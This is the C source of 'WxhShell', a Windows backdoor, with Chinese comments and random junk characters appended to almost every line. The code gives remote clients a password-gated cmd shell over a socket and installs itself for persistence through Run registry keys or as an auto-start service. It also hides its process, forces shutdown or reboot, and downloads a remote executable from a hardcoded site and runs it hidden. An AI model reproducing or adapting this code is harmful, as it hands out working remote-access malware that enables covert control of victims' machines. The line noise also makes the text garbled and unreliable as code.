    } Z+! ._uA  
  // 关机 %;$zR}  
  case 'd': { 8R<2I1xn2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;L (dmx?  
    if(Boot(SHUTDOWN)) MwMv[];I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^}vLZA  
    else { ~jWG U-m  
    closesocket(wsh); c@!%.# |y  
    ExitThread(0); ltRvNXx+]  
    } [(Ss^?AJW  
    break; W'WZ@!!  
    } ^t,sehpR:l  
  // 获取shell GY@(%^  
  case 's': { !8S $tk  
    CmdShell(wsh); zXWf($^&E  
    closesocket(wsh); 5xKo(XNp  
    ExitThread(0); w-9M{Es+j  
    break; Gxx:<`[ON  
  } ^GMM%   
  // 退出 OIP JN8V  
  case 'x': { 32j@6!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I*8i=O@0T  
    CloseIt(wsh); 3~v' Ev  
    break; X&R ,-^  
    } s3?pv  
  // 离开 r/E'#5 Q  
  case 'q': { qk!")t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  d(!W  
    closesocket(wsh); SKO*x^"eU  
    WSACleanup(); ,?s3%<\2   
    exit(1); $*a'[Qot#  
    break; Qv=F'  
        } N6yPuH  
  } ]@YBa4}w  
  } 5R"My^G  
2w6 y  
  // 提示信息 ~Iw7Xq E2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &+]x  
} rBR,lS$4  
  } eaSf[!24"  
GddP)l{uCF  
  return; gYb}<[O!  
}  {oQ.y  
7S+_eL^  
// shell模块句柄 5>{  
int CmdShell(SOCKET sock) <Sw>5M!j  
{ .[YM0dt  
STARTUPINFO si; .KH3.v/c|  
ZeroMemory(&si,sizeof(si)); P")duv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %^1@c f?.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8JYF0r7  
PROCESS_INFORMATION ProcessInfo;  n *Y+y  
char cmdline[]="cmd"; , H$1iJ?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *htv:Sr  
  return 0; ,|RS]I>X  
} )y8 u+5^  
8)n799<.  
// 自身启动模式 !e+ex"7  
int StartFromService(void) w#ha ^4  
{ zl~`>  
typedef struct 6R_G{AWLL  
{ dk}T&qZ~p  
  DWORD ExitStatus; 7Uy49cs,  
  DWORD PebBaseAddress; gr]:u4}  
  DWORD AffinityMask; HHd;<%q  
  DWORD BasePriority; !I3_KuJ5  
  ULONG UniqueProcessId; t\& u  
  ULONG InheritedFromUniqueProcessId; T.m*LM  
}   PROCESS_BASIC_INFORMATION; '#JC 6#X   
M A9Oi(L)K  
PROCNTQSIP NtQueryInformationProcess; !8'mIXZ$  
B[2 qI7D$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q o,uOi  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LRe2wT>I  
+v$,/~$tI  
  HANDLE             hProcess; DK-V3}`q}  
  PROCESS_BASIC_INFORMATION pbi; |#uA(V  
@JFfyQ {-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -44{b<:D  
  if(NULL == hInst ) return 0; !cblmF;0  
zT _  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BT[jD}?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <~wr;"S  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ShFC@)<lJ  
7;]n+QRfm  
  if (!NtQueryInformationProcess) return 0; i{1SUx+Re  
sw:o3cC]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3RSiu}  
  if(!hProcess) return 0; PWU8 9YXp  
Rn] `_[)*~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Na6z1&wS  
<K6:"  
  CloseHandle(hProcess); S(bYN[U  
RZKdh}B?\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }V@ * :3w8  
if(hProcess==NULL) return 0; 1^F !X=  
LI`L!6^l  
HMODULE hMod; x}acxu 2H7  
char procName[255]; }ZPO^4H;-  
unsigned long cbNeeded; HfQZRDH  
/HlLfW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &356   
SEf:u  
  CloseHandle(hProcess); "Q{)H8,E)x  
{\HEUIa]w  
if(strstr(procName,"services")) return 1; // 以服务启动 x d9+P  
-1~-uE.~4d  
  return 0; // 注册表启动 UJ hmhI  
} H83Gx;  
*OoM[wEY  
// 主模块 \U(;%V  
int StartWxhshell(LPSTR lpCmdLine) .O h4b5  
{ Etv!:\\[  
  SOCKET wsl; B;[ai?@c(_  
BOOL val=TRUE; -eZ$wn![  
  int port=0; >a6{y   
  struct sockaddr_in door; ape \zZCV  
&Nzq/~uqP  
  if(wscfg.ws_autoins) Install(); NI^=cN,l  
|@Cx%aEKU  
port=atoi(lpCmdLine); zk#NM"C+  
~ 9 F rlj  
if(port<=0) port=wscfg.ws_port; |$hBYw  
k/U1 :9  
  WSADATA data; WAd5,RZ?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ib8*rL0p<L  
{=Z xF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >v sy P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8XS_I{}?  
  door.sin_family = AF_INET; HUP~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); p,(gv])ie  
  door.sin_port = htons(port); Nft~UggK  
G=1&:nW'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >M2~BDZ  
closesocket(wsl); 7yUtG^'b  
return 1; U,;a+z4\  
} wW. V>$q  
1=*QMEv1G  
  if(listen(wsl,2) == INVALID_SOCKET) { ! 06 !`LT  
closesocket(wsl); %A]?5J)Bi  
return 1; E.ugr])  
} bSG}I|  
  Wxhshell(wsl); %3Ba9Nmid  
  WSACleanup(); [9hslk  
g?TPRr~$9  
return 0; MXVQ90  
pZVT:qFF  
} ][gr(-68  
,b b/ $   
// 以NT服务方式启动 N9 SC\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6}(; ~/L  
{ %a'Nf/9=:  
DWORD   status = 0; <`PW4zSI  
  DWORD   specificError = 0xfffffff; a/@F?\A  
FrKI=8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?h$ =]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @R c/ ^B:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E4C yW  
  serviceStatus.dwWin32ExitCode     = 0; 4lVvs(W?  
  serviceStatus.dwServiceSpecificExitCode = 0; \sSt _|+  
  serviceStatus.dwCheckPoint       = 0; -@I+IKz  
  serviceStatus.dwWaitHint       = 0; 2aDjt{7P  
`FJ2 ?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7I#<w[l>k  
  if (hServiceStatusHandle==0) return; aa-{,X"MF  
MAv-`8@|  
status = GetLastError(); e$vvmbK.  
  if (status!=NO_ERROR) 4 ~s{zob  
{ :kQ%Mj>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b{~64/YJ  
    serviceStatus.dwCheckPoint       = 0; \H^A@f  
    serviceStatus.dwWaitHint       = 0; X&bz%I>v  
    serviceStatus.dwWin32ExitCode     = status; \ #yKCA';  
    serviceStatus.dwServiceSpecificExitCode = specificError; =x &"aF1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {E 'go]  
    return; hOOkf mOM  
  } ? "+g6II  
cZb5h 9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >.xg o6  
  serviceStatus.dwCheckPoint       = 0; $ ;J:kd;<  
  serviceStatus.dwWaitHint       = 0; '5f6 M^}|2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7o99@K,  
} :l;SG=scx  
d~ |/LR5  
// 处理NT服务事件,比如:启动、停止 8:9/RL\"x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1Zr J7a7=  
{ #M)S Ae2  
switch(fdwControl) $2kZM4  
{ ;YfKG8(0  
case SERVICE_CONTROL_STOP: ?D\6@G:,#@  
  serviceStatus.dwWin32ExitCode = 0; q{c/TRp7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }hm "49,O  
  serviceStatus.dwCheckPoint   = 0; X2 PyFe  
  serviceStatus.dwWaitHint     = 0; +";<Kd-  
  { pXE'5IIN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !GAU?J;<#2  
  } (O(X k+L  
  return; U+4W9zhwo  
case SERVICE_CONTROL_PAUSE: M^6!{c=MIi  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; C/JFb zVx  
  break; ^e~m`R2fHh  
case SERVICE_CONTROL_CONTINUE: b}-/~l-:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Fr|Ts>Kx  
  break; =>0 G  
case SERVICE_CONTROL_INTERROGATE: W,D$=Bg  
  break; #}lq2!f6  
}; !vY5X2?tr,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `Lr I^9Z  
} _!K@( dl  
Qt~QJJN?oF  
// 标准应用程序主函数 tK0Ksnl^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (rT1wup  
{ -#y^$$i0  
{L#+v~d^'n  
// 获取操作系统版本 4iPxtVT  
OsIsNt=GetOsVer(); X }""= S<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wvnuE<o8  
NDo>"in  
  // 从命令行安装 FSNzBN  
  if(strpbrk(lpCmdLine,"iI")) Install(); >hFg,5 _l3  
tsWzM9Yf  
  // 下载执行文件 0] u=GD%  
if(wscfg.ws_downexe) { u,88V@^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z]V%&f  
  WinExec(wscfg.ws_filenam,SW_HIDE); r;"uk+{i  
} 0kiV-yc   
Ij_h #f   
if(!OsIsNt) { V|q`KOF  
// 如果时win9x,隐藏进程并且设置为注册表启动 0;X0<IV  
HideProc(); +8zC ol?j  
StartWxhshell(lpCmdLine); BXx l-x  
} P-LdzVt(^  
else )zMsKfQ  
  if(StartFromService()) |9;MP&68  
  // 以服务方式启动 Y2 oN.{IH  
  StartServiceCtrlDispatcher(DispatchTable); LvcGh  
else >>I~v)a>w  
  // 普通方式启动 \)/dFo\l  
  StartWxhshell(lpCmdLine); BK[ YX)  
9C"d7--  
return 0; ';J><z{>  
} {sR|W:fS$  
79y'PFSms  
b'mp$lt!  
[CAV"u)0  
=========================================== sI% =G3o=  
?>}&,:U}   
MVYf-'\^  
Pf?zszvs  
a'prlXr\4  
E!6Nf[  
" `/+PZqdC  
?c0@A*:o  
#include <stdio.h> e"u89acp  
#include <string.h> ,b!]gsds  
#include <windows.h> F8En )#  
#include <winsock2.h> rd0[(-  
#include <winsvc.h> t)n}S;iD  
#include <urlmon.h> [Fo" MeH?R  
5a^b{=#Y  
#pragma comment (lib, "Ws2_32.lib") --'!5)U  
#pragma comment (lib, "urlmon.lib") bKb}VP  
><r\ 5`  
#define MAX_USER   100 // 最大客户端连接数 x4e8;A(y  
#define BUF_SOCK   200 // sock buffer 4)OM58e}  
#define KEY_BUFF   255 // 输入 buffer iO2%$Jw9\  
e nw7?|(  
#define REBOOT     0   // 重启 3w!,@=.q  
#define SHUTDOWN   1   // 关机 >ZjGs8&  
C0#"U f  
#define DEF_PORT   5000 // 监听端口 YgCSzW&(  
cfrvx^,2&  
#define REG_LEN     16   // 注册表键长度 n1;y"`gHk  
#define SVC_LEN     80   // NT服务名长度 &LM ^,xx}  
r_EuLFMA  
// 从dll定义API \NTNB9>CO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l99{eD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p(`?y:.3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2[e^mm&.   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ge@KopZ&  
kE*OjywN  
// wxhshell配置信息 MET"s.v  
struct WSCFG { XL2iK)A  
  int ws_port;         // 监听端口 #->#mshd4  
  char ws_passstr[REG_LEN]; // 口令 qFwJ%(IQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no r[votdFo  
  char ws_regname[REG_LEN]; // 注册表键名 ~L3]Wa.  
  char ws_svcname[REG_LEN]; // 服务名 B 4my  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 se,0Rvkt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |-! yKB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Im0#_ \  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *j/[5J0'M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /GDGE }  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  ET:B"  
j+-+<h/(  
}; }3xZ`vX[T  
%yJ $R2%*y  
// default Wxhshell configuration 8Ug`2xS<_  
struct WSCFG wscfg={DEF_PORT, +i1\],7  
    "xuhuanlingzhe", _=d X01  
    1, S-D=-{@  
    "Wxhshell", )?D w)s5  
    "Wxhshell", l;'#!hC)  
            "WxhShell Service", p#6V|5~8  
    "Wrsky Windows CmdShell Service", #'2CST  
    "Please Input Your Password: ", o*}--d? S  
  1, ZA! yw7~  
  "http://www.wrsky.com/wxhshell.exe", /N?vVp  
  "Wxhshell.exe" v<SCh)[-p  
    };  d(>  
)?qH#>mD6  
// 消息定义模块 tMQz'3,X  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; yccF#zU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \Tii S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4Bc<  
char *msg_ws_ext="\n\rExit."; B6hd*f  
char *msg_ws_end="\n\rQuit."; n>-"\cjV  
char *msg_ws_boot="\n\rReboot..."; ^+)q@{\8Y  
char *msg_ws_poff="\n\rShutdown..."; Gi*GFv%xB  
char *msg_ws_down="\n\rSave to "; zbM*/:Y  
mE+  
char *msg_ws_err="\n\rErr!"; Pcox~U/j  
char *msg_ws_ok="\n\rOK!"; jh3X G  
KWzJ  
char ExeFile[MAX_PATH]; i rRe}  
int nUser = 0; \'AS@L"Wj^  
HANDLE handles[MAX_USER]; C6P(86?  
int OsIsNt; |4tnG&=  
LG6k KG  
SERVICE_STATUS       serviceStatus; g3"eEg5NY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3Q-[)Z )  
&GetRDr  
// 函数声明 KE k]<b=  
int Install(void); E 02l=M  
int Uninstall(void); HGJfj*JH  
int DownloadFile(char *sURL, SOCKET wsh); ""2g{!~r  
int Boot(int flag); fL7u419=  
void HideProc(void); }G50?"^u  
int GetOsVer(void); (K>=!&tlp=  
int Wxhshell(SOCKET wsl); yxpDQ O~x  
void TalkWithClient(void *cs); y!;PBsU%Sx  
int CmdShell(SOCKET sock); `4N{x.N  
int StartFromService(void); Pa}B0XBWP  
int StartWxhshell(LPSTR lpCmdLine); LtDQgel"  
pHpHvSI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @T6Z3Zj}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c'8a)j$$+  
tEE1`10Mt  
// 数据结构和表定义 Bt\z0*t=s  
SERVICE_TABLE_ENTRY DispatchTable[] = i8Y$cac!  
{ ^& R H]q  
{wscfg.ws_svcname, NTServiceMain}, "BAH=ul5E  
{NULL, NULL} V7qc9Gd@I  
}; 3-T}8VsiP  
9*lkx#  
// 自我安装 5_}e?T&s  
int Install(void) !Ui"<0[,  
{ %j*i=  
  char svExeFile[MAX_PATH]; )f6:{ma  
  HKEY key; <m|\#Jw_V  
  strcpy(svExeFile,ExeFile); W18I"lHeh  
,& ^vc_}  
// 如果是win9x系统,修改注册表设为自启动 xO<$xx  
if(!OsIsNt) { (3;dtp>Xx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .}V&*-ep  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W6>SYa  
  RegCloseKey(key); .;'3Roi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  t=;84lA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X%>Sio  
  RegCloseKey(key); ~il{6Z+#n  
  return 0; 1p[Z`m*9  
    } dT9ekNQB  
  } 1>!wm0;x  
} +.RC{o,  
else { jD eNCJ  
ERE1XOe=D  
// 如果是NT以上系统,安装为系统服务 [v!TQwMU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u VZouw#  
if (schSCManager!=0) Rt{`v<  
{ W?B(Jsv  
  SC_HANDLE schService = CreateService BIr24N  
  ( K[XFJ9  
  schSCManager, )E2^G)J$W  
  wscfg.ws_svcname, i{$h]D_fD  
  wscfg.ws_svcdisp, ,z1fiq  
  SERVICE_ALL_ACCESS, DG&[.dR+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , JvZNr?_w%  
  SERVICE_AUTO_START, Jrkj foN  
  SERVICE_ERROR_NORMAL, $m:4'r  
  svExeFile, D<m+M@u  
  NULL, us^2Oplq<  
  NULL, N{f4-i~  
  NULL, t`XY Y  
  NULL, nnZ|oEF  
  NULL VTQxg5P c  
  ); y@L-qO+{&  
  if (schService!=0) 8jnz;;|  
  { NNt,J;  
  CloseServiceHandle(schService); >+ZD 6l/  
  CloseServiceHandle(schSCManager); _(q|W3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N1LZXXY{  
  strcat(svExeFile,wscfg.ws_svcname); C98 Ks  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V0Z\e _I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u{o!j7  
  RegCloseKey(key); / xfg4  
  return 0; v=~=Q*\l  
    } `Xbk2KD p  
  }  pzMli ^  
  CloseServiceHandle(schSCManager); .Fy f4^0  
} qQ_o>+3VAy  
} :V%XEN)  
UO& p2   
return 1; JERWz~n}  
} 3']yjj(gHr  
_Vs\:tygs  
// 自我卸载 J:YFy-[w(  
int Uninstall(void) \y-Lt!}  
{ T|h/n\fx)a  
  HKEY key; ?}N@bsl08w  
za ix_mR  
if(!OsIsNt) { zlh}8Es  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m,~ @1  
  RegDeleteValue(key,wscfg.ws_regname); t^ =6czk  
  RegCloseKey(key); % mhnd):  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GYD`  
  RegDeleteValue(key,wscfg.ws_regname); N|,6<|  
  RegCloseKey(key); 0$n0f u  
  return 0; B@,L83  
  } &DMKZMj<Q*  
} DO!?]"  
} 31n5n  
else { S=^a''bg  
S)@95pb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M. Fu>Xi  
if (schSCManager!=0) ?Afx{H7  
{ :>Gm&w (n  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?s<'3I{F`  
  if (schService!=0) dnby&-+T  
  { $Q[>v!!X  
  if(DeleteService(schService)!=0) { aqjS5!qh  
  CloseServiceHandle(schService); ~$0Qvyb>  
  CloseServiceHandle(schSCManager); 0YsC@r47wL  
  return 0; {-sy,EYcw  
  } >qJRpO  
  CloseServiceHandle(schService); !cs +tm3  
  } m,e @bJ-  
  CloseServiceHandle(schSCManager); !!=%ty  
} ):. +u=  
} S.9ki<  
qp-/S^%  
return 1; M'=27!D^  
} *3hqz<p4:  
3f`+ -&|M  
// 从指定url下载文件 UGy~Ecv  
int DownloadFile(char *sURL, SOCKET wsh) vG'JMzAm  
{ g+ik`q(ge  
  HRESULT hr; y[*Bw)F\N  
char seps[]= "/"; zS*X9|p  
char *token; Z#wmEc.}C  
char *file; ^/Id!Y7  
char myURL[MAX_PATH]; eD0Rv0BV^  
char myFILE[MAX_PATH]; lO-:[@  
*pMgjr  
strcpy(myURL,sURL); M]?#]3XBNo  
  token=strtok(myURL,seps); "+js7U-  
  while(token!=NULL) -f.<s!a  
  { Tc6H%itV  
    file=token; PrIS L[@  
  token=strtok(NULL,seps); !b"#`O%`  
  } E%M~:JuKd?  
3_Su5~^  
GetCurrentDirectory(MAX_PATH,myFILE); JLsy|}>  
strcat(myFILE, "\\"); */Oq$3QGsV  
strcat(myFILE, file); vj I>TIy  
  send(wsh,myFILE,strlen(myFILE),0); Vwp fkD`  
send(wsh,"...",3,0); [@OXvdTV  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (hefpqpi  
  if(hr==S_OK) #\G{2\R  
return 0; zof>S>5>R7  
else A f@IsCOJ  
return 1; 1"r6qYN!>  
}bG|(Wp9  
} nT0FonK>  
@0q%&v0  
// 系统电源模块 Mg.xGST  
int Boot(int flag) iHo2=Cz  
{ &|7pu=  
  HANDLE hToken; )1a3W7  
  TOKEN_PRIVILEGES tkp; Oo<^~d2=  
r"OVu~ND  
  if(OsIsNt) { *yqEl O  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !<3(+H  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); NZ `( d  
    tkp.PrivilegeCount = 1; d%Zt]1$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7d?'~}j  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #/  1  
if(flag==REBOOT) { 5taYm'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pHlw&8(f"  
  return 0; Nhv~f0  
} 7p&%0'BO1z  
else { H4 }^6><V  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~S)o ('  
  return 0; B*A{@)_  
} 0+b1R}!2  
  } C8%Io l  
  else { 83UIH0(  
if(flag==REBOOT) { d-g&TSGd  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2H8,&lY.p  
  return 0; xX`P-h>V`c  
} (eI'%1kS<  
else { N3Ub|$}q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mh>)N"  
  return 0; 5V\\w~&/  
} 2HBYReQ  
} UBp0;)-  
Bry\"V"'g  
return 1; +(VHnxNQs  
} eN@V?G26K  
N<$U:!Z  
// win9x进程隐藏模块 F{\MIuoy  
void HideProc(void) -.: [a3c?  
{ ;"=a-$vm  
,Y EB?HA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2E^zQ>;01  
  if ( hKernel != NULL ) 3k;*xjv6@  
  { m]J Z@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t%<nS=u  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); D^To:N 7U  
    FreeLibrary(hKernel); I ;N)jj`b  
  } ~qm<~T_0  
7vRJQe)  
return; xt@zP)6G  
} RQ# gn  
+rbj%v}Fh  
// 获取操作系统版本 K'~wlO@O  
int GetOsVer(void) _>B0q|]j4'  
{ =CEQYk-y1  
  OSVERSIONINFO winfo; yzW9A=0A)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ygr[5Tl  
  GetVersionEx(&winfo); HONrt|c  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -crKBy  
  return 1; w `6qT3v  
  else ZKyK#\v<  
  return 0; y\b.0-z  
} QIVpO /@  
Fn*clx<  
// 客户端句柄模块 l?v-9l M  
int Wxhshell(SOCKET wsl) #*;(%\q}  
{ NvWwj%6]  
  SOCKET wsh; 306C_ M\$  
  struct sockaddr_in client; CXGq>cQ=d  
  DWORD myID; ?y!0QAIXK  
Q@hx +aM  
  while(nUser<MAX_USER) XX",&cp02V  
{ K:fK! /  
  int nSize=sizeof(client); RG|]Kt8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?V%x94B  
  if(wsh==INVALID_SOCKET) return 1; EO$_]0yI;_  
$;Lb|~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Lz2 AWqR  
if(handles[nUser]==0) &*RJh'o|N(  
  closesocket(wsh); -XIjol(  
else @yPa9Ug(V  
  nUser++; K~OfC  
  } v:(_-8:F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  @*'|8%  
HJ]\VP9Zb  
  return 0; JX(JZ/8B^  
} h=um t<&D  
rxjMCMF  
// 关闭 socket ^Afq)26D  
void CloseIt(SOCKET wsh) |&WeXVH E  
{ 7. 9n  
closesocket(wsh); !EuU @ +  
nUser--; B\A2Vm`&  
ExitThread(0); kPF[E5  
} &}31q`  
~M`QFF  
// 客户端请求句柄 &=5  
void TalkWithClient(void *cs) #\*ODMk$4|  
{ w<-8cvNhiz  
BL6t>  
  SOCKET wsh=(SOCKET)cs; #~%tdmGuL  
  char pwd[SVC_LEN]; 6T0E'kv S  
  char cmd[KEY_BUFF]; 7$'%*|C.  
char chr[1]; 'F^nW_ryW  
int i,j; h7<Zkf  
lG,/tMy  
  while (nUser < MAX_USER) { IZY q  
\^vf`-uG  
if(wscfg.ws_passstr) { pUki!TA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JS% &ipm  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /Za'L#=R  
  //ZeroMemory(pwd,KEY_BUFF); 5fPYtVm  
      i=0; 12v5*G[X  
  while(i<SVC_LEN) { ivsp):W  
~` v 7  
  // 设置超时 @kC>+4s!  
  fd_set FdRead; >K**SjVG  
  struct timeval TimeOut; i X qB-4"  
  FD_ZERO(&FdRead); aW]!$  
  FD_SET(wsh,&FdRead); s`M[/i3Nm  
  TimeOut.tv_sec=8; 1C(6.7l  
  TimeOut.tv_usec=0; 3Vjuk7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8v"tOa4D7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #=UEx  
-~ytk=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y%:FawR  
  pwd=chr[0]; <T{2a\i 4f  
  if(chr[0]==0xd || chr[0]==0xa) { )nU%}Z  
  pwd=0; Fv=7~6~  
  break; bs$x%CR  
  } jC> l<d_  
  i++; [RG&1~  
    } a(&!{Y1bt  
HB yk 1  
  // 如果是非法用户,关闭 socket YP{)jAK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @54,I  
} X~t]qT  
XH&Fn+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3>qUYxG8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cGiS[-g  
jca7Cx`sm  
while(1) { yHkZInn  
Yi1* o?  
  ZeroMemory(cmd,KEY_BUFF); PI~LbDE  
pvM;2  
      // 自动支持客户端 telnet标准   :L<$O7  
  j=0; i|+ EC_^<  
  while(j<KEY_BUFF) { 8`}(N^=}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z\6&5r=  
  cmd[j]=chr[0]; pisjfNT`o  
  if(chr[0]==0xa || chr[0]==0xd) { JViglO1\  
  cmd[j]=0; t] LCe\#  
  break; |j53' >N[  
  } -Qx:-,.a  
  j++; 50% |9D0?Y  
    } !U.Xb6  
6T{Zee  
  // 下载文件 Z#YkAQHv5  
  if(strstr(cmd,"http://")) { ! )$ PD@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O~F/{: U  
  if(DownloadFile(cmd,wsh)) R>H*MvN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $by-?z((  
  else  ^! /7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T677d.zaT  
  } .kh%66:  
  else { B$qmXA)ze  
